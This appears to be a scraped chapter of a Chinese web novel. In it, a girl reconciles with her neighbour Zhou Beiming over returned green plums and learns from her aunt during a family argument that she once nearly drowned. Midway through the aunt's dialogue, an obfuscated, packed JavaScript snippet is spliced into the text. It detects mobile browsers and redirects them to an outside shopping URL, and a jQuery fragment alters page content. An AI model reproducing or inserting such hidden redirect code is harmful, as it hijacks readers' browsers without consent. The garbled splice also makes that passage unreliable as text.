小姨站在门口,一声不吭地盯着她。 岑西坐到床上,又猛然站起来。 她的视线不知所措的左右挪动,可房间里除了她和小姨,找不到另外一个生命体。 氛围简直太诡异。 她很快坐立难安,踌躇着把手心里的布料揉得发潮。 “小姨,你想和我谈什么事?”她勉强牵起唇角,掩盖慌张。 “你真的不知道我想说什么吗?”小姨半垂眼皮,不再看她。 岑西心跳如鼓:“既然小姨已经知道那些事,为什么还要来问我?我知道我做的不够好,应该当时就和他说我不想要青梅。可谁能想到他每周都来,每周都来!他一直送青梅送了两年半!青梅丰收期过去以后,他哪里来这么多钱去商城买青梅?商城怎么会什么时候都有青梅?我要是不把青梅还回去,妈妈肯定会让爸爸把青梅扔进垃圾桶……我对他说的不全是错的……新闻确实说过有人吃青梅拉肚子还得急性肠炎。我没听说他家的青梅果会卖给蛋糕店,还送到商城里。我以为他给每个认识的人都送了青梅果。” 小姨欲言又止地皱起眉头。 岑西沉沉地呼出一口气,说:“这件事只有我们三个知道就够了,你别告诉爸妈,我会帮你洗轮椅的。” 小姨坐在她的书桌椅上,抬手指指楼上,“你不该只看一个人的表面,也不该只看一件事的表面。你要学会换位思考,看清楚一个人的内在,一件事的隐情。”小姨的视线在岑西身上慢慢聚焦,“别因为一个坏印象,就弄丢一个朋友,放弃解决一件事。” “好吧,我知道了。” “只是知道并没有多少用处。”小姨不耐烦道,“苏岑西,你该好好想想,如果你是周北鸣,你会不会感到难过。如果你是你的妈妈,你会怎么处理这件事。” 小姨盯岑西良久,最终头也不回地走出她的卧室,关上门。 第二天清晨,岑西找祝漾上学时,小姨已经不在家里了。 中午,她也没见到小姨。 她吃午饭时,听见小姨大笑着夸赞周北鸣心思细腻,性格开朗,待人很友善。 她悄悄偷看,见小姨没坐轮椅,笔直地站在周北鸣旁边,帮他擦拭仓库铁皮上的锈迹。 岑西想走过去,双腿却如灌了铅。 她回到家里,麻木地咀嚼瓷碗中的米饭。 吃到一半,妈妈下班回家,在玄关挂挎包。 没多久,妈妈后面跟进来苏浮胜。 妈妈骂苏浮胜为什么不待在学校,突然要回家。 苏浮胜说大学实习期,他需要回来拿证件。 妈妈又开始说为什么不打电话,家里可以把东西寄给他。 岑西习惯他们两人之间的争论。 苏浮胜这次争论过后,下次依然敢随心所欲。 她慌乱扒几口饭,窜出客厅。 可走出一段路,她即便听不见小姨和周北鸣说话的声音,她脑海里也能浮现出来这两个人待在一起,会有多少欢声笑语。 她路过一家奶茶店,看一眼点菜单上的时间。 现在离学校开门还有二十分钟,干等着像是傻瓜。 她咬着下嘴唇,愤懑地跑回家里。 从窗户探出身体,她勉强能瞥见周北鸣的身影。 他撸起袖子,挽着裤腿,一手拎起装满水的红桶,一手高高扬起朝小姨挥动。 刺眼却温暖的阳光下,他的生命力径直传到她的眼睛。 他竟然不觉得脏累,忙碌着像玩游戏一样开心。 岑西心乱如麻,刚才看到的画面如电影的定格画面,就算转移视线,她也能想起周北鸣阳光开朗的笑容。 她缩回书桌椅上,缓了一会儿,她跑进苏浮胜的房间,拿出游戏卡开始打游戏。 周北鸣和小姨的仓库清理行动进行了整整两周。 小姨在此期间经常不在岑西家吃午饭,半夜才回来吃点快凉掉的晚饭。 岑西有几天一睁眼就能听到小姨在仓库边说话。 到了星期天,小姨一整个白天都待在仓库旁。 爸爸说岑西要向北鸣学习,多整理房间,整理家里,整理后院。 “我凭什么要像他一样!”岑西每次大叫着跑开。 她有时跑进祝漾家里,有时蹲在云渔楚的旧秘密基地楼下。 她不想待在房间里听仓库的动静,也不想在客厅听爸爸的唠叨。 有几次,小姨喊她一起给周北鸣帮忙。 她扭头就走,脸上火烧火燎不敢回头。 周北鸣没有喊她,也没有和她说话。 他始终安安静静地打扫仓库,一个眼神也不给她。 到了学校,岑西想和他说话,但每次她一靠近,他就和其他男同学一起去忙其他的事。 体育课上的双人活动,他宁愿一个人坐一边,也不愿意和她组队。 她原本想和他道歉,告诉他打扫仓库她没帮忙她很抱歉,也想问他突然打扫仓库的缘由。 但没找到任何一个合适的时机。 他一定在生气,不想和她做朋友。 可如果真的讨厌她,他为什么把他的课程笔记放在她的窗台? 岑西胸腔发闷,再次看到窗台摆放的课程笔记,她翻出窗户,走到仓库旁边。 周北鸣正站在仓库前,用铲子敲打围墙顶部的废弃藤蔓。 岑西清了清嗓子说:“仓库看起来和新的一样,你清理的可真快。” “它本来也没有多破旧。”周北鸣背对她说,“而且苏汐小姨帮了很多忙。” 苏汐?这是小姨的名字。小姨?周北鸣非亲非故,叫这么亲昵的称呼干什么? “周北鸣,”岑西瞳孔乱颤,“之前的事情是我不对,我向你道歉。” 他短暂地扭头看她一眼,继而抬手收拾藤蔓。 忙碌半刻,他背对她问:“你有那么多次拒绝的机会,为什么一次也不开口呢?你有什么不放心的事,完全可以当面问我。” “这个……那时候事情太突然了。你知道的,人刚睡醒反应不过来很多东西。我不会再说青梅果林的不好了,真的,以后都不会了。” 她分明没听到周北鸣的回复,肩膀却猛然轻盈。 停了几秒钟,她听到周北鸣说:“我相信你的话了,也接受你不算道歉的道歉。” 他把藤蔓塞进蛇皮袋,转身看着她说:“其实我很羡慕你,从搬过来以后,我们家以前的亲戚基本就不和我们来往了,我们过年没出门走亲戚,也没人来我们家拜年。” “这样啊。”岑西尴尬地点头。 “但苏汐小姨比我们家可怜多了。”他抿着嘴巴,眉头不舒展说,“她说她的儿子在蓝湾石桥跳河自杀,说如果儿子活着,正和我一样大。” “啊?” “她确实是这么说的。”北鸣挠挠头,“她还说我和他儿子性格非常像。” 岑西对小姨的儿子没什么印象。 想半刻,她勉强想起一点小姨儿子的形象。 她见过这个同龄男孩几次,他每年过年喊着其他孩子要轮流给长辈们表演节目。 有一年,小姨的儿子把点燃的炮扔进她的棉服帽子,她吓得哭半天,那次以后就刻意不和小姨的儿子见面。 小姨的儿子没有周北鸣性格好,也没有周北鸣长得好看。 周北鸣更善良一点。 岑西觉得,周北鸣最起码不会把点燃的炮扔进她的棉服帽子。 她收回心神,见周北鸣一边洗手一边说:“我没见过你小姨的儿子,不过她对我好没其他意思,只是想试着从我身上弥补他的儿子。” “可那只能让她心安一点,不可能真的能弥补到她的儿子。不过我不在意这件事。”岑西耸耸肩膀,不想和周北鸣抢关注度,“她能对你好也不错,就像你在这里有了一个新的亲戚。” 她想到什么说什么。 周北鸣似乎对她友善地点头,久违的对她露出笑容。 走回卧室时,她还晕晕乎乎的,腿脚仍有些发软,满脑子是他大金毛一样的开朗笑容。 她的心情前所未有的舒畅,纠结烦闷了好几个星期的事情终于被解决。 青梅返还计划最终告一段落,她可以心安理得的面对小姨和其他人了。 第二天,岑西难得在周六睡到下午三点钟。 她醒后发现家里只有她一个人,爸爸留字条写:冰箱里放着可以垫肚子的蛋糕。 她今天不想窝在家吃蛋糕,她要去奶茶店买联名饮品。 可她刚开始点单,妈妈就出现在身后,质问她为什么月考后不复盘习题,反而跑出来不干正经事。 “我的年级排名不会退步,”岑西对妈妈说,“我只有这周不上辅导班,我买杯奶茶怎么了?” 妈妈训斥她不好好学习没事找事,拉着她坐到车上。 爸爸坐在驾驶座,对岑西说:“今天带苏汐去医院复查,医生说骨头长得不错。” 苏汐小姨坐在后座,离岑西一臂的距离。 虽然不知道小姨为什么要在今天重新复查,但被医生夸恢复得不错,不是应该开心吗? 她看不懂小姨脸上的愁容。 “估计某人早就知道恢复情况,”妈妈冷哼一声,拽下挎包肩带,“不然怎么有心思陪楼上的那个小男孩?” 小姨侧眼看过去,说:“你难道不知道他的名字吗?因为我帮了别人家孩子一个忙,你就要这么说话吗?” “现在知道他是别人家的孩子了?”妈妈扭头瞪过来,“你这么偏心周北鸣怎么不住周北鸣家里,不知道的还以为你是他小姨!” 岑西清晰瞄见妈妈凸出一块的下颚骨,妈妈一定气愤地咬紧牙关。 她第一次觉得妈妈的小心眼有点难以理解。 爸爸清了清嗓子,抬手拍拍妈妈的肩膀。 “苏明夜,你还替苏汐说话!你知不知道九年级对岑西来说有多重要,苏汐这几年吃我们的饭,住我们的房子,花我们的钱,到头来她对楼上的陌生人比对你女儿好!她什么时候帮岑西打扫过卫生!” 妈妈说的没错! 小姨没帮忙打扫过卫生。 甚至刚住过来的时候,小姨一句话不多说。 可小姨是有苦衷的人,好像也挺可怜。 岑西膝盖并拢,正儿八经道:“妈妈,小姨给周北鸣帮忙只是想弥补去世的儿子。” 爸爸握着方向盘,等待红绿灯。妈妈探身看向岑西,一双眼眸如野林毒蛇。 岑西后脖颈一凉,慌忙解释说:“周北鸣的性格和小姨儿子的性格……还挺像。” 小姨脸上表情淡淡的,手上不停扣指甲。 “你脑子有什么毛病!”妈妈双臂环胸,搓搓手臂,“因为偏心周北鸣,所以什么话都能编出来骗岑西,你到底有没有良心!” 小姨偏头凝视妈妈:“他们确实很像。” “除了性别,哪里像?”妈妈翻白眼,根本不相信小姨的鬼话。 “我儿子如果活到现在,会和周北鸣差不多高,他们都开朗热情,像阳光下奔跑的大金毛。”小姨眼眶泛红,挪开视线说:“你们根本不知道周北鸣重新打扫仓库的原因。” “这有什么可好奇的?完全因为他们家的人懒惰还不讲卫生。怪不得他们家搬来以后过年都没人来拜年,谁想路过满是细菌的果林和后院仓库。” “那里没那么多细菌,他们也不是你说的那种人——” “看来你很了解他们,既然你这么了解他们,前几年怎么没想起来帮他们打扫果林和仓库。你那时候不也嫌弃他们家不干净。你现在说这些只是想证明周北鸣人很好。” “你真的这么觉得吗?”小姨张了张嘴,却有几秒没发出声音,“岑芙,如果你的女儿成为植物人,你还能有心思打扫不影响正常生活的仓库和果林卫生?” 小姨的话掷地有声。 妈妈皱着眉头,狠狠地瞪小姨:“少诅咒我,周北鸣没有姐姐,你说的事不可能存在。” 小姨叹口气,临下车时望向窗外说:“戴思恩再嫁前女儿成为植物人,婚后她——” 妈妈不耐烦地推开车门,喊道:“所以呢?这和我们家有什么关系?这是他们家的事。” “你……只想说这个?”小姨下车,嘴唇都在颤抖。 “不然呢!既然你这么心疼周北鸣,怎么不替他姐姐去当植物人!”妈妈撇下嘴角,甩上车门。 “你知不知道什么叫植物人。” 小姨执着的进行话题。 从屋里走出的苏浮胜顶着鸡窝头,一脸懵地看过来。 爸爸慌乱道:“岑芙,我们得把东西拿下来。” 妈妈耸耸肩膀:“和我们没关系的事凭什么不能说!你该让她喊楼上那小子来帮忙,要是你能心疼上周北鸣,说不准你能亲手照顾植物人小姑娘。也是,周北鸣既然像她的儿子,自然也像你的亲戚。” “岑芙!”爸爸在后备箱前抬头,脸上没有什么表情。 “苏明夜,你竟然因为这件事对我发脾气。你的姐姐为了维护别人家的孩子,开口诅咒你的妻子,想要证明她帮周北鸣是完全正确的事。不管他们家有一个植物人女儿,还是有两个植物人女儿,这都不是他们破坏我们家庭氛围的理由。他们影响苏汐给我女儿辅导功课,培养感情,让我每天心里都不舒坦!” 苏汐小姨诡异的平静下来,面色如常道:“这只是他们租来的房子,前几年忙着适应烟栊生活,努力赚钱,这几年准备让周北鸣读书的费用,还要付费照顾妻子带来的继女。就算他们花钱修整仓库,修整果林,那又能怎样呢?再过三年,他们就不住这里了,完全是赔本买卖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026103|194412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 爸爸缓慢地合上后备箱:“他们没有补贴吗?他们的亲戚……” “就算有补贴他们也需要支付不少费用,你也知道,他们家没人拜年。估计能联系的亲戚早就联系过了。我昨天听说他们在承棠市做生意失败,不得不搬过来。” “现在说这些有什么用。”妈妈说,“你已经帮他们打扫完仓库,他们家既然有钱租房租果林,就说明过得不是很困难。你难道想让我感到愧疚,大发慈悲资助资助他们?我不觉得他们需要帮助——” 小姨单手拎着晚饭食材,大跨步靠近妈妈:“这和你要不要资助他们没关系!你没发现你越来越刻薄了么。” 小姨肩膀颤抖,眼神却锐利如箭簇:“难道周北鸣的姐姐想成为植物人吗?他们家待人友善,从没和你争吵过,他们现在只是需要你的一点点同理心。如果以前没人同情苏岑西,现在成为植物人的就是你的女儿。” “苏汐!再提这件事你马上从我们家滚出去!”爸爸声嘶力竭地吼。 妈妈赫然噤声,握住爸爸的手腕往屋里去。 岑西第一次在家里见到爸爸对小姨发脾气。 她猛地打冷颤,缩到车后面。 苏浮胜扬起眉毛绕过车辆:“谢谢你们请我看一出好戏。” 他背对岑西,对她挥舞手臂。 很快,他消失在岑西的视线里。 爸爸甩上房门,和妈妈争吵。 妈妈怒吼着,扭曲面容指向玻璃窗外的小姨。 没一会儿,爸爸迅速拉上窗帘,他们吵得更厉害。 岑西背靠车门,侧面站着小姨。 她们脚边还堆着商城买来的午餐食材。 “你们买了牛肉吗?”岑西吞咽口水,“真可惜,看来午餐泡汤了。” “你知道这是怎么回事吗?”小姨问她。 “周北鸣家一直没打扫仓库的原因,我现在知道了。可你们刚才说的……就是那件事,小姨说得有点过分。” 小姨放下手里的东西,挨着她的手臂对她说:“你觉得那件事是真的吗?” “植……植物人那件事,”岑西略一抬眸,耸耸肩膀,“小姨不是故意让爸妈生气吗?” 小姨一愣,沉默几秒反应过来她的意思:“他们生气是因为确实有这件事,他们不想承认管理孩子的过失。” 岑西余光不看小姨,自顾自盯着鞋尖:“你的意思是,我之前差点成为植物人?” 小姨点点头。 “可,那怎么会……” 小姨打断她的话,温和地笑:“人活着活着,总会有对孩子不留神的时候。” “怎么会差点成为植物人?” 小姨继续道:“溺水加缺氧。” “我完全没印象……” “你落水后救援人员来得及时,当时距你失去意识时间不久,所以他们把你救下来后,你没有出现其他问题。如果你落水时没人及时替你求救,你爸妈会变成独生子家属。” 岑西隐隐约约想起点片段,她小时候在河边抓蝌蚪,脚一滑跌进没有防护措施的河流。 妈妈站在几十米远的地方,和朋友炫耀新耳环。 河边没有其他大人,剩余的小朋友尖叫着跑远了。 她的意识越来越不清晰,喊不出求救的话,发不出“妈妈”的音节。没多久,一个小男孩拉着大人哭着跑过来,那时候,小男孩和小男孩拉来的大人一定在可怜她。 如果当时没有小朋友喊人,如果小男孩不拉来大人,如果当时没人同情她,事情会怎么发展? 她会变成植物人吗?她的爸妈会愧疚吗?会为她救治很多年吗? 妈妈一点不同情北鸣的姐姐,如果她和北鸣姐姐的情况一样,妈妈很可能不同情她。 妈妈会抛下儿子女儿,逃得远远的,或者直接找个理由为她放弃治疗。家里只剩哥哥一个孩子,爸妈的经济压力会小很多吧? 岑西认真地想了想,否定脑海里的想法。 她是妈妈的女儿,妈妈不会抛弃她的…… 妈妈应该,不会抛弃她吧? 岑西的手心贴在车玻璃上——她不知道治疗植物人需要花多少钱,可如果妈妈有一笔可以买车的钱,妈妈会放弃全款车,换成为她治疗几年吗? 岑西不敢细想这件事,她到时候会成为爸妈的累赘,妈妈会和谩骂周北鸣家一样,去谩骂她。 她会像随时可以处理掉的肮脏青梅果,变成妈妈只是提起都能冲进卫生间呕吐的细菌。 妈妈一直比电影里的女主角漂亮,但在这一瞬间,岑西突然觉得妈妈似乎没那么好看。 小姨掀起眼皮说:“别因为以前的事怨恨你妈妈,苏岑西。”小姨平平淡淡说:“事情还没发展到不能收拾的地步。” 岑西抿着唇,一言不发。 她脑海里更乱了,两个对立面的小人一直在打架。 小姨说:“谢谢你陪我聊天。” “没什么可谢的。”岑西胸腔发闷,鼻间有些堵塞。 “你和周北鸣关系变好了?” 岑西不接话,等了半刻说:“为什么这么问?” “不然你怎么知道我想弥补儿子的事?” “啊,周北鸣告诉我的,我和他解释青梅的事了。” “感觉怎么样?” “他原谅我的时候,我觉得一切都结束了,可听你说他姐姐的事……我觉得我好像有点过分。” “你已经道歉了,他已经原谅你了,这比你什么都不说好太多了。”小姨低着头,静静看她半秒,“你现在打算回家吗?还是要陪我去甜品店看看?” 去甜品店? 这个时间为什么要去甜品店,她想去奶茶店,买联名奶茶。 “我觉得现在不是回去的好时候。”小姨说。 岑西回头看,望见紧闭的家门,爸妈的争吵声断断续续传过来。 现在回去会变成靶子。 岑西呼出口气:“好吧,你想去哪家甜品店?” 她从没想过有一天会和小姨一起去甜品店,这位小姨刚来家里时,能几个星期不和她说一个字,现在竟然喊她一起去甜品店。 一路上,她们走进每一家甜品店,每次只买一样甜品。 她忽然意识到,小姨比表面看起来温柔有耐心,这和她对小姨以往的印象不一样。 小姨的思想,表达,所展现的是外貌以外的的世界。 岑西捧着蛋糕盒子,陪小姨走到蓝湾石桥。 青梅果林枝叶稀疏,看起来空荡荡且孤零零,周围的地面却格外的干净整洁。 小姨扯扯嘴角,说:“果林结满果子的样子,一定很漂亮。” 岑西回想先前见到的场景,认真地点了点头。 “你之前没见过青梅成熟的样子吗?”她问小姨。 “在这里看河流时,见过几次。那时候周北鸣在果林跑来跑去,还扑到树下打滚。你爸爸说,还好你没有跟着他一起打滚。我那时只想着那篇报道,他和其他孩子都不一样。”小姨不急不缓说,“偷果贼打断的不止是树枝,打烂的不只是青梅果。他在守护他的秘密基地,保护他的回忆和家里的财产,他很勇敢,不是吗?” 岑西不赞成小姨的话,也不否认小姨的话。 她昂头扯下衣领,然后专心致志吃纸盒内的芒果蛋糕。 回家路上,小姨经过岑西身边,说:“你能和北鸣道歉,就是好的开始,看看那篇报道吧,或许你们能成为好朋友。” “也可能以后再也不聊天。”岑西停下来回答。 她们安静几秒,开门进入住宅。 苏浮胜皱着脸,一手按着游戏键,一手抓住一瓶可乐,他身前的零食堆得乱七八糟。 爸妈卧室传出压抑哭腔的破防争吵。 她后悔这么早回来了。 小姨拍拍她的肩膀,轻声说:“这不是你的错,和你没什么关系,回屋去吧。” 小姨淡定地走回转角处的房间。 岑西左顾右盼,从苏浮胜面前搬一堆零食,一口气跑进卧室。 她靠床坐在地垫上,手里撕开一包薯片,脑海里却想起“植物人”三个字。 她忽然觉得周北鸣的爸妈格外的好看,可这种好看不来自外貌。 她很想知道周北鸣家现在在干什么,他的爸妈因为他的姐姐争吵过吗? 他知道……他姐姐的事吗? 岑西思绪很乱,缩在零食堆里,听不见楼上人家说话的声音。 窗户外面有些灯亮,但没来自周北鸣的房间。 他已经休息了。 她却没有困意。 她想起蓝湾石桥旁的青梅果林。 周北鸣曾邀请她去果林玩,当时她毅然决然地拒绝他。 她想知道,青梅果林里面的景色,每次看起来和外面完全一样吗? 她不受控制地借来小姨的手机,翻看公众号里关于周北鸣的新闻报道。 攥写稿件的人惋惜果林遭遇,心疼并赞赏周北鸣的勇敢,批评偷果人,呼吁保护果林树木。 有人在评论区写小作文猜测小男孩保护果林的各种缘由。 岑西盯着报道文字间关于周北鸣的图片,他一个人拦在果林前,面对陌生且卑劣的偷果贼。 他确实有些帅气。 但她觉得她变得很卑劣。 周北鸣在报道里说:“租下青梅果林花了不少钱,卖青梅果的收入对他们家很重要。” 他说,他很喜欢青梅果林,里面的景色和外面不一样,果林早就拥有独立的生命链。 他介绍很多果林里的昆虫,路过果林的动物。 岑西被攥住心脏,手忙脚乱的把手机塞到枕头下面,再用头压住枕头。 周北鸣的脸在报道里离偷果贼的竹竿只有一圈距离,他身后的影子匿在树枝交杂中。 他像守护宝藏的骑士,同住楼上楼下这么多年,她第一次觉得他和小时候不一样了。 她的心跳频率越来越快,脑海里周北鸣的影子却越来越清晰。 想他干什么? 他就算改变了,依旧是甩不掉的跟屁虫,没礼貌的讨厌鬼! 她关心他做什么? 岑西从床上乍然窜起来,她把手机还给小姨,用被子蒙住脑袋。 她重复回忆她讨厌周北鸣的原因。 不知不觉中,她听见青梅果撒向石板的声音。